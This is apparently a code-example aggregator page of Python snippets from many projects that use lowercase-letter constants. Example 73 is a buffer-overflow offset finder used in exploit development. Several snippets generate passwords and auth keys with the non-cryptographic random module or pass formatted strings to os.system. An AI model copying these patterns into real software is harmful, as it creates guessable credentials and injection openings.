        self.drive_letters = list(string.lowercase) 
Example 70
Project: OME   Author: oeg-upm   File: util.py    Apache License 2.0 5 votes vote down vote up
def get_random_string(length=4):
    return ''.join(random.choice(string.lowercase) for i in range(length)) 
Example 71
Project: CryptoAttacks   Author: GrosQuildu   File: one_time_pad.py    MIT License 5 votes vote down vote up
def break_rot(ciphertext, alphabet=string.lowercase):
    for rot in range(len(alphabet)):
        tr = string.maketrans(alphabet, ''.join([alphabet[rot:], alphabet[:rot]]))
        print(rot, string.translate(ciphertext, tr)) 
Example 72
Project: hws   Author: nash-x   File: utils.py    Apache License 2.0 5 votes vote down vote up
def get_random_passwd(**kwargs):
    """
    generate random password, include eight letters(upper + lower), eight
    digits.

    upper_num: the number of upper cases. must lower than 27
    lower_num: the number of lower cases. must lower than 27
    digit_num: the number of digits. must lower than 11
    special_num: the number of special cases. must lower than 33

    :return: password as string
    """
    password_list = []
    special_words = ['`', '~', '!', '@', '#', '$', '%', '^', '&', '*',
                     '(', ')', '-', '_', '+', '=', '\\', '|', '[', ']', '{',
                     '}', ':', ';', '\'', '"', ',', '<', '>', '.', '/','?']

    if "upper_num" in kwargs:
        password_list.extend(random.sample(string.uppercase,
                                           int(kwargs['upper_num'])))
    if "lower_num" in kwargs:
        password_list.extend(random.sample(string.lowercase,
                                           int(kwargs['lower_num'])))
    if "digit_num" in kwargs:
        password_list.extend(random.sample(string.digits,
                                           int(kwargs['digit_num'])))
    if "special_num" in kwargs:
        password_list.extend(random.sample(special_words,
                                           int(kwargs['special_num'])))

    # random places
    random.shuffle(password_list)
    return ''.join(password_list) 
Example 73
Project: security-scripts   Author: Und3rf10w   File: pattern.py    GNU General Public License v2.0 5 votes vote down vote up
def pattern_search(search_pattern):
    """
    Search for search_pattern in pattern. Convert from hex if given as such.
    """
    needle = search_pattern
    if len(needle) == 10 or len(needle) == 8:
        try:
            # (EIP = 0x41326641) Value can be given as either 0x41326641 or 41326641
            if needle.startswith('0x'):
                # Strip off '0x', convert to ASCII and reverse
                needle = needle[2:].decode('hex')
                needle = needle[::-1]
            else:
                needle = needle.decode('hex')
                needle = needle[::-1]
        except TypeError as e:
            print 'Unable to convert hex input:', e
            sys.exit(1)

    haystack = ''
    for upper in uppercase:
        for lower in lowercase:
            for digit in digits:
                haystack += upper+lower+digit
                found_at = haystack.find(needle)
                if found_at > -1:
                    print('Pattern %s first occurrence at position %d in pattern.' %
                          (search_pattern, found_at))
                    return

    print ('Couldn\'t find %s (%s) anywhere in the pattern.' %
           (search_pattern, needle)) 
Example 74
Project: scrapy_process   Author: haowg   File: excel.py    Apache License 2.0 5 votes vote down vote up
def tmp_filename(self):
        return os.path.join(self.home,
                            ''.join(random.sample(string.lowercase, 10))) 
Example 75
Project: webhackshl   Author: SecHackLabs   File: webserver.py    GNU General Public License v3.0 5 votes vote down vote up
def randomword(length = 8):
   return ''.join(random.choice(ascii_lowercase) for i in range(length)) 
Example 76
Project: hask   Author: billpmurphy   File: type_system.py    BSD 2-Clause "Simplified" License 4 votes vote down vote up
def build_sig_arg(arg, cons, var_dict):
    """
    Covert a single argument of a type signature into its internal type system
    representation.

    Args:
        arg: The argument (a string, a Python type, etc) to convert
        cons: a dictionary of typeclass constraints for the type signature
        var_dict: a dictionary of bound type variables

    Returns: A TypeVariable or TypeOperator representing the arg

    Raises: TypeSignatureError, if the argument cannot be converted
    """
    # string representing type variable
    if isinstance(arg, str) and all((l in lowercase for l in arg)):
        if arg not in var_dict:
            if arg in cons:
                var_dict[arg] = TypeVariable(constraints=cons[arg])
            else:
                var_dict[arg] = TypeVariable()
        return var_dict[arg]

    # subsignature, e.g. H/ (H/ int >> int) >> int >> int
    elif isinstance(arg, TypeSignature):
        return make_fn_type(build_sig(arg, var_dict))

    # HKT, e.g. t(Maybe "a") or t("m", "a", "b")
    elif isinstance(arg, TypeSignatureHKT):
        if type(arg.tcon) == str:
            hkt = build_sig_arg(arg.tcon, cons, var_dict)
        else:
            hkt = arg.tcon
        return TypeOperator(hkt, [build_sig_arg(a, cons, var_dict)
                                  for a in arg.params])

    # None (the unit type)
    elif arg is None:
        return TypeOperator(None, [])

    # Tuples: ("a", "b"), (int, ("a", float)), etc.
    elif isinstance(arg, tuple):
        return Tuple(map(lambda x: build_sig_arg(x, cons, var_dict), arg))

    # Lists: ["a"], [int], etc.
    elif isinstance(arg, list) and len(arg) == 1:
        return ListType(build_sig_arg(arg[0], cons, var_dict))

    # any other type, builtin or user-defined
    elif isinstance(arg, type):
        return TypeOperator(arg, [])

    raise TypeSignatureError("Invalid item in type signature: %s" % arg) 
Example 77
Project: hask   Author: billpmurphy   File: type_system.py    BSD 2-Clause "Simplified" License 4 votes vote down vote up
def build_ADT(typename, typeargs, data_constructors, to_derive):
    """
    Create a new algebraic data type (a type constructor and at least one data
    constructor).

    Args:
        typename: a string representing the name of the type constructor
        typeargs: strings representing the type parameters of the type
                  constructor (should be unique, lowercase strings)
        data_constructors: a list of (name, [field]) pairs representing
                           each of the data constructors for the new type.
        to_derive: a list of typeclasses (subclasses of Typeclass) that should
                   be derived for the new type

    Returns:
        The type constructor, followed by each of the data constructors (in the
        order they were defined)

    Example usage:
        build_ADT(typename="Maybe",
                  typeargs=["a"],
                  data_constructors=[("Nothing", []), ("Just", ["a"])],
                  to_derive=[Read, Show, Eq, Ord])
    """
    # 1) Create the new type constructor and data constructors
    newtype = make_type_const(typename, typeargs)
    dcons = [make_data_const(dc_name, dc_fields, newtype, i)
             for i, (dc_name, dc_fields) in enumerate(data_constructors)]

    # 2) Derive typeclass instances for the new type constructor
    for tclass in to_derive:
        tclass.derive_instance(newtype)

    # 3) Wrap data constructors in TypedFunc instances
    for i, (dc_name, dc_fields) in enumerate(data_constructors):
        if len(dc_fields) == 0:
            continue

        return_type = TypeSignatureHKT(newtype, typeargs)
        sig = TypeSignature(list(dc_fields) + [return_type], [])
        sig_args = build_sig(sig, {})
        dcons[i] = TypedFunc(dcons[i], sig_args, make_fn_type(sig_args))
    return tuple([newtype,] + dcons)


#=============================================================================#
# Pattern matching 
Example 78
Project: symautomata   Author: GeorgeArgyros   File: sfa.py    MIT License 4 votes vote down vote up
def main():
    """Main Function"""
    alphabet = list(string.lowercase)  # + ["<", ">"]

    # Create an SFA for the regular expression .*<t>.*
    sfa = SFA(alphabet)

    # sfa.add_arc(0,0,SetPredicate([ i for i in alphabet if i != "<" ]))
    # sfa.add_arc(0,1,SetPredicate(list("<")))
    #
    # sfa.add_arc(1,2,SetPredicate(list("t")))
    # sfa.add_arc(1,0,SetPredicate([ i for i in alphabet if i != "t" ]))
    #
    # sfa.add_arc(2,3,SetPredicate(list(">")))
    # sfa.add_arc(2,0,SetPredicate([ i for i in alphabet if i != ">" ]))
    #
    # sfa.add_arc(3,3,SetPredicate(alphabet))
    #
    # sfa.states[3].final = True

    sfa.add_arc(0, 7, SetPredicate([i for i in alphabet if i != "d" and i != "input_string"]))
    sfa.add_arc(1, 7, SetPredicate([i for i in alphabet if i != "i"]))
    sfa.add_arc(2, 7, SetPredicate([i for i in alphabet if i != "p"]))
    sfa.add_arc(3, 7, SetPredicate([i for i in alphabet if i != "v"]))
    sfa.add_arc(5, 7, SetPredicate(list(alphabet)))
    sfa.add_arc(4, 7, SetPredicate([i for i in alphabet if i != "a"]))
    sfa.add_arc(6, 7, SetPredicate([i for i in alphabet if i != "n"]))
    sfa.add_arc(7, 7, SetPredicate(list(alphabet)))

    sfa.add_arc(0, 1, SetPredicate(list("d")))
    sfa.add_arc(1, 3, SetPredicate(list("i")))
    sfa.add_arc(3, 5, SetPredicate(list("v")))

    sfa.add_arc(0, 2, SetPredicate(list("input_string")))
    sfa.add_arc(2, 4, SetPredicate(list("p")))
    sfa.add_arc(4, 6, SetPredicate(list("a")))
    sfa.add_arc(6, 5, SetPredicate(list("n")))

    sfa.states[5].final = True

    dfa = sfa.concretize()
    # dfa.minimize()
    dfa.save('concrete_re_sfa.dfa')

    # Consume some input
    input_string = "koukouroukou"
    print 'SFA-DFA result on {}: {} - {}'.format(input_string, sfa.consume_input(input_string),
                                                 dfa.consume_input(input_string))

    input_string = "divspan"
    print 'SFA-DFA result on {}: {} - {}'.format(input_string, sfa.consume_input(input_string),
                                                 dfa.consume_input(input_string))

    input_string = "div"
    print 'SFA-DFA result on {}: {} - {}'.format(input_string, sfa.consume_input(input_string),
                                                 dfa.consume_input(input_string))

    input_string = "span"
    print 'SFA-DFA result on {}: {} - {}'.format(input_string, sfa.consume_input(input_string),
                                                 dfa.consume_input(input_string)) 
Example 79
Project: WPEAR   Author: stephenlienharrell   File: DataVisualizer.py    GNU General Public License v3.0 4 votes vote down vote up
def AnimatedHeatMap(self, grib_objects, file_name, temp_dir):
        """Generate Animated Heatmap with Data from grib_objects
        grib_objects:   a list of grib objects
        file_name:      a string representing the name of generated picture
        """
        frames = []
        filenames = []
        vmin = sys.maxint
        vmax = -vmin - 1
        count = 0
        # Final min and max, and define output file names
        while (count < len(grib_objects)):
            # Get min and max of all data values
            vmax = max(grib_objects[count].data(lat1=38.22, lat2=41.22, lon1=-87.79, lon2=-84.79)[0].max(), vmax)
            vmin = min(grib_objects[count].data(lat1=38.22, lat2=41.22, lon1=-87.79, lon2=-84.79)[0].min(), vmin)
            count += 1

        count = 0
        working_dir = '%s/%s%s' % (temp_dir, 'frames', ''.join(random.choice(string.lowercase) for x in range(6)))
        file_list_file = 'file_list.txt'
        if not os.path.exists(working_dir):
            os.makedirs(working_dir)
        f = open('%s/%s' % (working_dir, file_list_file), 'w')
        try: 
            # Generate each frame one by one
            while (count < len(grib_objects)):
                filenames.append('pic_' + str(count) + '.png')
                f.write("%s\n" % filenames[count])
                self.Frame(grib_objects[count], "%s/%s" % (working_dir, filenames[count]), vmin, vmax)
                # print 'Generated ' + filenames[count]
                count += 1
        finally:
          f.close()


        # Convert series of static viualization to animated file
        os.system("cd {}; {} -delay 60 @{} {}".format(working_dir, self.convert_path, file_list_file, 'out.gif'))

        shutil.move('%s/out.gif' % working_dir, file_name)

        # Remove the tmp files
#        os.remove('file_list.txt')
#        for f in filenames:
#            os.remove(f)
        shutil.rmtree(working_dir)

        # plt.close(fig) 
Example 80
Project: pogom-updated   Author: PokeHunterProject   File: app.py    MIT License 4 votes vote down vote up
def post_config_site(self):
        if not self.is_authenticated():
            return redirect(url_for('login'))

        config['LOCALE'] = request.form.get('locale', 'en')
        config['GOOGLEMAPS_KEY'] = request.form.get('gmapsKey', '')

        pw = request.form.get('configPassword', None)
        pw_changed = (pw != config.get('CONFIG_PASSWORD', None))
        if pw_changed:
            config['CONFIG_PASSWORD'] = pw
            config['AUTH_KEY'] = ''.join(random.choice(string.lowercase) for _ in range(32))

        accounts_str = request.form.get('accounts', None)

        usernames_before = set([])
        for account in config.get('ACCOUNTS', []):
            usernames_before.add(account['username'])

        usernames = set([])
        accounts_parsed = []
        if accounts_str:
            for a in accounts_str.splitlines():
                a = a.split(":")
                if (len(a) == 2) and (a[0].strip() not in usernames):
                    accounts_parsed.append({'username': a[0].strip(), 'password': a[1].strip()})
                    usernames.add(a[0].strip())

        config['ACCOUNTS'] = accounts_parsed
        self.scan_config.ACCOUNTS_CHANGED = (usernames_before != usernames)
        self.save_config()

        self.scan_config.RESTART = True

        resp = make_response(render_template(
            'config.html',
            locale=config.get('LOCALE', ''),
            locales_available=config.get('LOCALES_AVAILABLE', []),
            gmaps_key=config.get('GOOGLEMAPS_KEY', None),
            accounts=config.get('ACCOUNTS', []),
            password=config.get('CONFIG_PASSWORD', None),
            alert=True))
        if pw_changed:
            resp.set_cookie('auth', config['AUTH_KEY'])

        return resp